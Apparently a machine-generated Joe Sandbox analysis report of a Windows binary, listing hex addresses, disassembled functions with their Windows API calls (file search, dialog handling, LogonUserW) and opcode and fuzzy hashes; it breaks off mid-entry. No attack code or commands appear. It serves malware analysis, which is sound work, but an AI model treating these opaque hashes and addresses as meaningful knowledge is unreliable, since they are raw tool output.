                                                                                                                                                                            0x00446f59
                                                                                                                                                                            0x00446ee1
                                                                                                                                                                            0x00446ee1
                                                                                                                                                                            0x00446ee3
                                                                                                                                                                            0x00446f1a
                                                                                                                                                                            0x00446f20
                                                                                                                                                                            0x00446f22
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00446f24
                                                                                                                                                                            0x00446f28
                                                                                                                                                                            0x00446f2b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00446f2d
                                                                                                                                                                            0x00446f2d
                                                                                                                                                                            0x00446f30
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00446f36
                                                                                                                                                                            0x00446f3a
                                                                                                                                                                            0x00446f3d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00446f3d
                                                                                                                                                                            0x00446f30
                                                                                                                                                                            0x00446f2b
                                                                                                                                                                            0x00446ee5
                                                                                                                                                                            0x00446ee5
                                                                                                                                                                            0x00446eec
                                                                                                                                                                            0x00446eee
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00446ef0
                                                                                                                                                                            0x00446efd
                                                                                                                                                                            0x00446f02
                                                                                                                                                                            0x00446f05
                                                                                                                                                                            0x00446f07
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00446f0d
                                                                                                                                                                            0x00446f0d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00446f0d
                                                                                                                                                                            0x00446f07
                                                                                                                                                                            0x00446eee
                                                                                                                                                                            0x00446ee3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00446ea2
                                                                                                                                                                            0x00446e9c
                                                                                                                                                                            0x00446e91
                                                                                                                                                                            0x00446d89
                                                                                                                                                                            0x00446d89
                                                                                                                                                                            0x00446d91
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00446d97
                                                                                                                                                                            0x00446d97
                                                                                                                                                                            0x00446d9b
                                                                                                                                                                            0x00446d9d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00446da3
                                                                                                                                                                            0x00446da3
                                                                                                                                                                            0x00446da7
                                                                                                                                                                            0x00446dac
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00446db2
                                                                                                                                                                            0x00446db4
                                                                                                                                                                            0x00446db9
                                                                                                                                                                            0x00446dbb
                                                                                                                                                                            0x00446dbf
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00446dc1
                                                                                                                                                                            0x00446dc1
                                                                                                                                                                            0x00446dc6
                                                                                                                                                                            0x00446e13
                                                                                                                                                                            0x00446e15
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00446e17
                                                                                                                                                                            0x00446e17
                                                                                                                                                                            0x00446e17
                                                                                                                                                                            0x00446e1a
                                                                                                                                                                            0x00446e1b
                                                                                                                                                                            0x00446e1d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00446e1f
                                                                                                                                                                            0x00446e21
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00446e23
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00446e23
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00446e21
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00446e17
                                                                                                                                                                            0x00446dc8
                                                                                                                                                                            0x00446dc8
                                                                                                                                                                            0x00446dca
                                                                                                                                                                            0x00446dde
                                                                                                                                                                            0x00446dde
                                                                                                                                                                            0x00446dde
                                                                                                                                                                            0x00446de0
                                                                                                                                                                            0x00446de0
                                                                                                                                                                            0x00446de5
                                                                                                                                                                            0x00446dec
                                                                                                                                                                            0x00446df2
                                                                                                                                                                            0x00446df2
                                                                                                                                                                            0x00446df5
                                                                                                                                                                            0x00446df7
                                                                                                                                                                            0x00447061
                                                                                                                                                                            0x00447061
                                                                                                                                                                            0x00447065
                                                                                                                                                                            0x00447067
                                                                                                                                                                            0x0044709e
                                                                                                                                                                            0x0044709e
                                                                                                                                                                            0x004470ab
                                                                                                                                                                            0x00447069
                                                                                                                                                                            0x00447069
                                                                                                                                                                            0x00447071
                                                                                                                                                                            0x00447073
                                                                                                                                                                            0x0044707a
                                                                                                                                                                            0x00447083
                                                                                                                                                                            0x00447089
                                                                                                                                                                            0x00447089
                                                                                                                                                                            0x0044708b
                                                                                                                                                                            0x0044708b
                                                                                                                                                                            0x0044709d
                                                                                                                                                                            0x0044709d
                                                                                                                                                                            0x00446dfd
                                                                                                                                                                            0x00446dfd
                                                                                                                                                                            0x00446e00
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00446e06
                                                                                                                                                                            0x00446e12
                                                                                                                                                                            0x00446e12
                                                                                                                                                                            0x00446e00
                                                                                                                                                                            0x00446dcc
                                                                                                                                                                            0x00446dcc
                                                                                                                                                                            0x00446dcc
                                                                                                                                                                            0x00446dcf
                                                                                                                                                                            0x00446dd0
                                                                                                                                                                            0x00446dd2
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00446dd4
                                                                                                                                                                            0x00446dd8
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00446dda
                                                                                                                                                                            0x00446dda
                                                                                                                                                                            0x00446ddc
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00446ddc
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00446dd8
                                                                                                                                                                            0x00446e25
                                                                                                                                                                            0x00446e25
                                                                                                                                                                            0x00446e26
                                                                                                                                                                            0x00446e28
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00446e2a
                                                                                                                                                                            0x00446e2a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00446e2a
                                                                                                                                                                            0x00446e28
                                                                                                                                                                            0x00446dca
                                                                                                                                                                            0x00446dc6
                                                                                                                                                                            0x00446dbf
                                                                                                                                                                            0x00446dac
                                                                                                                                                                            0x00446d9d
                                                                                                                                                                            0x00446d91
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00446d83
                                                                                                                                                                            0x0044699b
                                                                                                                                                                            0x004469aa
                                                                                                                                                                            0x004469aa
                                                                                                                                                                            0x00446999
                                                                                                                                                                            0x00446978
                                                                                                                                                                            0x004468c6
                                                                                                                                                                            0x004468c6
                                                                                                                                                                            0x004468cc
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004468ce
                                                                                                                                                                            0x004468de
                                                                                                                                                                            0x004468e3
                                                                                                                                                                            0x004468e6
                                                                                                                                                                            0x004468e8
                                                                                                                                                                            0x004468fa
                                                                                                                                                                            0x00446901
                                                                                                                                                                            0x00446903
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00446905
                                                                                                                                                                            0x00446905
                                                                                                                                                                            0x0044690c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044690e
                                                                                                                                                                            0x0044690e
                                                                                                                                                                            0x00446912
                                                                                                                                                                            0x00446915
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00446917
                                                                                                                                                                            0x00446917
                                                                                                                                                                            0x00446917
                                                                                                                                                                            0x0044691c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044691e
                                                                                                                                                                            0x0044691e
                                                                                                                                                                            0x00446923
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00446925
                                                                                                                                                                            0x00446934
                                                                                                                                                                            0x00446934
                                                                                                                                                                            0x00446923
                                                                                                                                                                            0x0044691c
                                                                                                                                                                            0x00446915
                                                                                                                                                                            0x0044690c
                                                                                                                                                                            0x004468ea
                                                                                                                                                                            0x004468f9
                                                                                                                                                                            0x004468f9
                                                                                                                                                                            0x004468e8
                                                                                                                                                                            0x004468cc
                                                                                                                                                                            0x004468ac
                                                                                                                                                                            0x004468ac
                                                                                                                                                                            0x004468b0
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004468b2
                                                                                                                                                                            0x004468c1
                                                                                                                                                                            0x004468c1
                                                                                                                                                                            0x004468b0
                                                                                                                                                                            0x00446828
                                                                                                                                                                            0x00446828
                                                                                                                                                                            0x0044682a
                                                                                                                                                                            0x0044683a
                                                                                                                                                                            0x0044683a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044682c
                                                                                                                                                                            0x0044682c
                                                                                                                                                                            0x00446831
                                                                                                                                                                            0x00446863
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00446833
                                                                                                                                                                            0x00446833
                                                                                                                                                                            0x00446838
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00446838
                                                                                                                                                                            0x00446831
                                                                                                                                                                            0x0044682a
                                                                                                                                                                            0x00446826
                                                                                                                                                                            0x004467c7
                                                                                                                                                                            0x004467c7
                                                                                                                                                                            0x004467cc
                                                                                                                                                                            0x00446804
                                                                                                                                                                            0x00446804
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004467ce
                                                                                                                                                                            0x004467ce
                                                                                                                                                                            0x004467dd
                                                                                                                                                                            0x004467dd
                                                                                                                                                                            0x004467cc
                                                                                                                                                                            0x004467c5
                                                                                                                                                                            0x00446652
                                                                                                                                                                            0x00446659
                                                                                                                                                                            0x0044665a
                                                                                                                                                                            0x00446662
                                                                                                                                                                            0x00446663
                                                                                                                                                                            0x00446669
                                                                                                                                                                            0x0044666b
                                                                                                                                                                            0x0044666e
                                                                                                                                                                            0x00446670
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00446672
                                                                                                                                                                            0x00446681
                                                                                                                                                                            0x00446681
                                                                                                                                                                            0x00446670
                                                                                                                                                                            0x004465f9
                                                                                                                                                                            0x00446608
                                                                                                                                                                            0x00446608
                                                                                                                                                                            0x004465ed
                                                                                                                                                                            0x004465ed
                                                                                                                                                                            0x004465ef
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004465ef
                                                                                                                                                                            0x004465eb
                                                                                                                                                                            0x004465de
                                                                                                                                                                            0x004465c6
                                                                                                                                                                            0x004465d3
                                                                                                                                                                            0x004465d3
                                                                                                                                                                            0x00000000

                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: ERCP$VUUU$VUUU$VUUU
                                                                                                                                                                            • API String ID: 0-2165971703
                                                                                                                                                                            • Opcode ID: fe5f619ecbbb89e409f3ebcf557090f4afc22d0cdf4dbad8df8e547bb5c0b5b7
                                                                                                                                                                            • Instruction ID: 514654dd073cfe12bfc68f6c44a091d7a3824994b709b832431b3f3de6bbd106
                                                                                                                                                                            • Opcode Fuzzy Hash: fe5f619ecbbb89e409f3ebcf557090f4afc22d0cdf4dbad8df8e547bb5c0b5b7
                                                                                                                                                                            • Instruction Fuzzy Hash: 5562D3716087818BE734CF18C8807ABB7E1EBC6314F154A2FE49986390E779D949CB5B
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0045C999 Relevance: 4.6, APIs: 3, Instructions: 130fileCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                            • FindFirstFileW.KERNEL32(00000000,?,?), ref: 0045C9BE
                                                                                                                                                                            • FindNextFileW.KERNEL32(00000000,?), ref: 0045CA1B
                                                                                                                                                                            • FindClose.KERNEL32(00000000,00000001,00000000), ref: 0045CA4A
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Find$File$CloseFirstNext
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3541575487-0
                                                                                                                                                                            • Opcode ID: 14602e3ddb85434cb4a191148b4ac58dc13c9e22f939418703ff5d8e88b69fcb
                                                                                                                                                                            • Instruction ID: 18858b47483a38653cd59612877c1399ad483e9f26b014a4aa46912757e3bc7b
                                                                                                                                                                            • Opcode Fuzzy Hash: 14602e3ddb85434cb4a191148b4ac58dc13c9e22f939418703ff5d8e88b69fcb
                                                                                                                                                                            • Instruction Fuzzy Hash: EC41CE756003009FC720EF79D880A9BB3E4FF89315F208A6EED698B391D775A844CB95
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0045DD7C Relevance: 3.1, APIs: 2, Instructions: 56fileCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                            • FindFirstFileW.KERNEL32(00000000,?,?), ref: 0045DDA1
                                                                                                                                                                            • FindClose.KERNEL32(00000000), ref: 0045DDDD
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Find$CloseFileFirst
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2295610775-0
                                                                                                                                                                            • Opcode ID: eac1d012b3ae473636f11b903683455954ec17c127a785734040b224e9a5f79e
                                                                                                                                                                            • Instruction ID: 3577cc1601137e614a3334ffa73c6d258275d41fe8d72aaca367a27ef3e2a016
                                                                                                                                                                            • Opcode Fuzzy Hash: eac1d012b3ae473636f11b903683455954ec17c127a785734040b224e9a5f79e
                                                                                                                                                                            • Instruction Fuzzy Hash: DE11E5766002049FD710EF6ADC89A5AF7E5EF84325F10892EF958D7281CB75E8048B94
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004331D9 Relevance: 3.0, APIs: 2, Instructions: 35nativeCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                            • ClientToScreen.USER32(?,?), ref: 00433202
                                                                                                                                                                            • NtdllDialogWndProc_W.NTDLL(?,00000200,?), ref: 0043322F
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ClientDialogNtdllProc_Screen
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3420055661-0
                                                                                                                                                                            • Opcode ID: 8e2001f9d1191b047fdc261eecd0625cae7c1ad5e6a69bec7795623591e4d7bc
                                                                                                                                                                            • Instruction ID: 79334b24f5e752891c7b85279833e8fa03bb884f24ead4a413b07d40b8d8150b
                                                                                                                                                                            • Opcode Fuzzy Hash: 8e2001f9d1191b047fdc261eecd0625cae7c1ad5e6a69bec7795623591e4d7bc
                                                                                                                                                                            • Instruction Fuzzy Hash: 22F0F4B6504311AFE200DF05ED8492BB7E8EBC8712F148D2EF99193251C7B4A909DBB6
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0044AF5C Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                            • GetLastError.KERNEL32(00000000,00000000,00000FFF,00000000,?,?,004782E6,?,?,?), ref: 0044AF8E
                                                                                                                                                                            • FormatMessageW.KERNEL32(00001000,00000000,?,00000000,00000000,00000FFF,00000000,?,?,004782E6,?,?,?), ref: 0044AFA5
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ErrorFormatLastMessage
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3479602957-0
                                                                                                                                                                            • Opcode ID: 265d7a19d3eba539260361cc1fe5a3e70b302e1c8fb97200548962176bc833fd
                                                                                                                                                                            • Instruction ID: 470e8fa0199c65dedc5e4648daea85b25893cba94944c51086ff1a152fa8b7f9
                                                                                                                                                                            • Opcode Fuzzy Hash: 265d7a19d3eba539260361cc1fe5a3e70b302e1c8fb97200548962176bc833fd
                                                                                                                                                                            • Instruction Fuzzy Hash: 0EF082712543416BF324E764DC49FBBB3A8EF84715F008E2EF155960E1D7B4A848C76A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0047CBF0 Relevance: 2.9, Strings: 2, Instructions: 418COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: 0vH$HH
                                                                                                                                                                            • API String ID: 0-728391547
                                                                                                                                                                            • Opcode ID: 9b328813cdefc07fded1753a613c2b4aedc6fb073271cfcf2f1583501405de88
                                                                                                                                                                            • Instruction ID: 538a6706abcc28c04bdc151be30d2aa4e2083a8dfdfa6c30a7857f36827e6882
                                                                                                                                                                            • Opcode Fuzzy Hash: 9b328813cdefc07fded1753a613c2b4aedc6fb073271cfcf2f1583501405de88
                                                                                                                                                                            • Instruction Fuzzy Hash: 60E1BE725143109FC310EF25C881A9FB7E5AFC4708F108D2EF589AB281D779E946CB9A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0040F890 Relevance: 2.1, APIs: 1, Instructions: 589COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _memset
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2102423945-0
                                                                                                                                                                            • Opcode ID: 5eb33986bc824c7159e08e175cb88283df2c37f33089532841c0641cd62430c0
                                                                                                                                                                            • Instruction ID: fac722ae1e10b3ad9494cda40f9fb3e9e62b3c26aea04ddfc6562ea9d2065ebb
                                                                                                                                                                            • Opcode Fuzzy Hash: 5eb33986bc824c7159e08e175cb88283df2c37f33089532841c0641cd62430c0
                                                                                                                                                                            • Instruction Fuzzy Hash: C512B4B7B983194FDB48DEE4DCC169573E1FB98304F09A43C9A15C7306F6E8AA094794
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0043323E Relevance: 1.5, APIs: 1, Instructions: 21nativeCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                            • NtdllDialogWndProc_W.NTDLL(?,00000084,00000000,?), ref: 00433274
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: DialogNtdllProc_
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3239928679-0
                                                                                                                                                                            • Opcode ID: 8985a75d1e5520d2e499eec1a241bc42e0f4e5500bc870e04c8b1cc553ee22c2
                                                                                                                                                                            • Instruction ID: a483c428637070b8e8b58b13542464783085a457216f3b91bd99041a21057448
                                                                                                                                                                            • Opcode Fuzzy Hash: 8985a75d1e5520d2e499eec1a241bc42e0f4e5500bc870e04c8b1cc553ee22c2
                                                                                                                                                                            • Instruction Fuzzy Hash: C6E0EC71108230A6F2115B1D9C09FEFB798EB95711F00891AF595D50D1D7A89981C7A9
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0043916A Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                            • LogonUserW.ADVAPI32(?,?,?,?,00000000,?), ref: 0043918E
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
